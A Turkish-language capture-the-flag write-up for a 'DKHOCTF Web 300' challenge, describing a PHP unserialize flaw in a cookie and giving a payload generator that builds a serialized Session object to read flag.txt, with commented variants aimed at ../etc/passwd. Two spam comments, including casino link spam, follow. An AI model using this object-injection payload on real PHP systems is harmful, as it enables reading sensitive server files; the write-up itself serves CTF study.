Tuesday, May 17, 2016

DKHOCTF - Web 300

Bu sorudaysa cookie olarak bir serialized object saklanmaktaydi, sunucu direk bu objeyi unserialize edip kullaniyordu. Bu kismini gormemiz gercekten cok cabuk oldu zaten bariz birseydi, daha sonra bilinen bilimum class'lar ile deneyip "handle" nesnesinin read veya close methodlarinin calistirildigina karar kildik sonra exploit etmek icin ugrastik, ugrastik ve ugrastik....



Saatler sonra(hatta belki de gun) backup.zip'i fark etik, bundan sonrasi ez'ydi zaten, asagidaki gibi bir payload generator yazip cocugu koyduk.

<?php
require_once ("Process.php");
require_once ("Database.php");

class Session
{
   protected \$name, \$lastname, $handle;

   function __construct(\$name, \$lastname)
   {       \$this->name = new Process("../var/www/html", "flag.txt"); 
       \$this->lastname = \$this->name;#new Process("../etc", "passwd"); 
       \$this->handle = \$this->name;#new Process("../etc", "passwd");
   }

   function getName(){
       return \$this->name;
   }

   function getLastName(){
       return \$this->lastname;
   }

   function __destruct()
   {
       echo "__destroy<br/>";
        \$this->_destroy();
   }

   function _destroy(){
       // TODO: Look at the scrum board.
        \$this->handle->close();
   }

} 
\$session = new Session("test", 123); 
echo base64_encode(serialize(\$session));

daha sonra cikan degeri cookie'mize kouyoruz ve tadaa

2 comments :


  1. I really like your blog.. very nice colors & theme. Did you create this website yourself or did you hire someone to do it for you? Plz answer back as I'm looking to design my own blog and would like to know where u got this from. thanks hotmail sign in

    ReplyDelete
  2. 'Casino' is a beautiful, beautiful and - Filmfile Europe
    Casino · Casino sedabet · Casino 프로토 넷마블 · Casino 토토 프로토 차이 넷마블 · Casino · Casino · 프랑스 리그 1 순위 Casino · Casino · Casino · Casino · Casino · Casino 룰렛 사이트 · Casino · Casino

    ReplyDelete